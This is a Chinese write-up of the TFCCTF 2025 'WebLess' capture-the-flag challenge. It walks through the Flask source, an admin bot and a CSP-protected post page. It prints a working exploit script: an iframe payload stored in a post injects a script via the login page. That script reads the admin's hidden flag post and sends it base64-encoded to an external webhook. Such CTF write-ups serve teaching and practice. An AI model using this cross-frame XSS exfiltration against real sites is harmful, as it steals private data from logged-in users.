TFCCTF 2025 WebLess题解

一、题目描述

用户注册登录后,可以创建 Post ,创建好之后可以浏览,也可以通过点击 Report to Admin 触发机器人访问该Post

flag被管理员写在了Post中,只有管理员或者机器人可通过 /post/0 访问

python 复制代码
ADMIN_USERNAME = secrets.token_hex(32)
ADMIN_PASSWORD = secrets.token_hex(32)

users = {ADMIN_USERNAME: ADMIN_PASSWORD}
posts = [{
    "id": 0,
    "author": ADMIN_USERNAME,
    "title": "FLAG",
    "description": FLAG,
    "hidden": True
}]

目标是让机器人访问存放flag的页面: post/0 ,然后再想办法获取flag

二、题目分析

用户登录之后,可以创建Post

python 复制代码
@app.route("/create_post", methods=["POST"])
@login_required
def create_post():
    title = request.form["title"]
    description = request.form["description"]   # 获取用户输入的 description
    hidden = request.form.get("hidden") == "on"  # Checkbox in form for hidden posts
    post_id = len(posts)
    posts.append({   // 将用户的该post条目加入posts
        "id": post_id,
        "author": session["username"],   # author是session[username]
        "title": title,
        "description": description,
        "hidden": hidden
    })
    return redirect(url_for("index"))

用户可以访问自己创建的笔记

python 复制代码
@app.route("/post/<int:post_id>")
@login_required
def post_page(post_id):
    # 判断访问的id是否存在
    post = next((p for p in posts if p["id"] == post_id), None)
    if not post:
        return "Post not found", 404
    # 判断用户是否设置可见 且 判断用户是否为作者
    if post.get("hidden") and post["author"] != session["username"]:
        return "Unauthorized", 403
    # 若id存在 且 用户为作者,将post(包含用户输入title和description)传入render_template函数
    resp = make_response(render_template("post.html", post=post))
    resp.headers["Content-Security-Policy"] = "script-src 'none'; style-src 'self'"
    return resp

用户访问 /report 页面时会触发机器人访问

python 复制代码
@app.route('/report', methods=['POST'])
def report():
    url = request.form.get('url')   # 获取data部分的url
    if not url:
        return 'Missing url', 400
    # 创建线程执行 run_admin_bot 函数
    Thread(target=_run_admin_bot, args=(url,), daemon=True).start()
    return 'Report queued', 202

def _run_admin_bot(target_url: str):
    try:
        # 将 url 作为参数传递给bot
        bot.run_report(target_url, ADMIN_USERNAME, ADMIN_PASSWORD)
        print("[BOT] Done")
    except Exception as e:
        print(f"[BOT] Error: {e}")

bot report操作实际是以管理员身份登录和访问待 reporturl

py 复制代码
def run_report(url, username, password):
    try:
        driver = webdriver.Chrome(service=service, options=options)
        # 1.以管理员身份登录
        driver.get(f"http://127.0.0.1:5000/login?username={username}&password={password}")
        # Wait until page is loaded (document.readyState == "complete")
        WebDriverWait(driver, 10).until(
            lambda d: d.execute_script("return document.readyState") == "complete"
        )

        # 2.访问 report page url
        driver.get(url)
        WebDriverWait(driver, 10).until(
            lambda d: d.execute_script("return window.reportReady === true")
        )
        print("Report page fully loaded")

结合 flag 存放在管理员的 post/0 中,突破点在触发机器人执行report,以管理员的身份登录之后去访问某个url,若该url包含恶意链接,使得机器人在访问时将其cookie或者之前访问 post/0 的内容带出来,即可获得flag

exp如下:

注:credentialless 的核心作用是:让 iframe 请求不带 cookie,适用于跨域信息泄露场景

python 复制代码
import requests

s = requests.Session()
URL = "https://webless-156e7e4ba10d8dc9.challs.tfcctf.com"

solution = """
<iframe src="/post/0"></iframe>
<iframe credentialless src="/login?username=<script>fetch(`https://WEBHOOOK/${btoa(top.window.frames[0].document.body.innerText.substr(20))}`)</script>&password=a"></iframe>
"""

s.post(URL+"/register", data={"username": "test", "password": "test"})
s.post(URL+"/create_post", data={"title": "LEAK", "description": solution, "hidden": "off"})
s.post(URL+"/report", data={"url": "http://127.0.0.1:5000/post/1"})

print("Check the webhook")

poyload的解释如下:

用户创建的post中包含solution,

当bot通过"http://127.0.0.1:5000/post/1" 访问时,返回的页面中包含solution;bot首先会访问 src="post/0" ,然后会访问 src="/login?username=<script>fetch(......)${btoa(top.window.frames[0].document.body.innerText.substr(20))}

在访问后者时会获取前一帧显示的内容的前20个字符,将通过base64编码后发送到https://WEBHOOOK,即将flag的值发送出来了

相关推荐
鹿鸣天涯1 小时前
国产服务器操作系统迁移指南
运维·服务器
b***74881 小时前
前端CSS预处理器对比,Sass与Less
前端·css·sass
Crazy________2 小时前
40nginx从单节点 HTTPS 到集群负载均衡
linux·运维·服务器
n***i952 小时前
云原生数据库使用体验,与传统数据库差异
数据库·云原生
lsp程序员0104 小时前
使用 Web Workers 提升前端性能:让 JavaScript 不再阻塞 UI
java·前端·javascript·ui
J***Q2924 小时前
前端路由,React Router
前端·react.js·前端框架
1***81534 小时前
前端路由参数传递,React与Vue实现
前端·vue.js·react.js
q***13615 小时前
十七:Spring Boot依赖 (2)-- spring-boot-starter-web 依赖详解
前端·spring boot·后端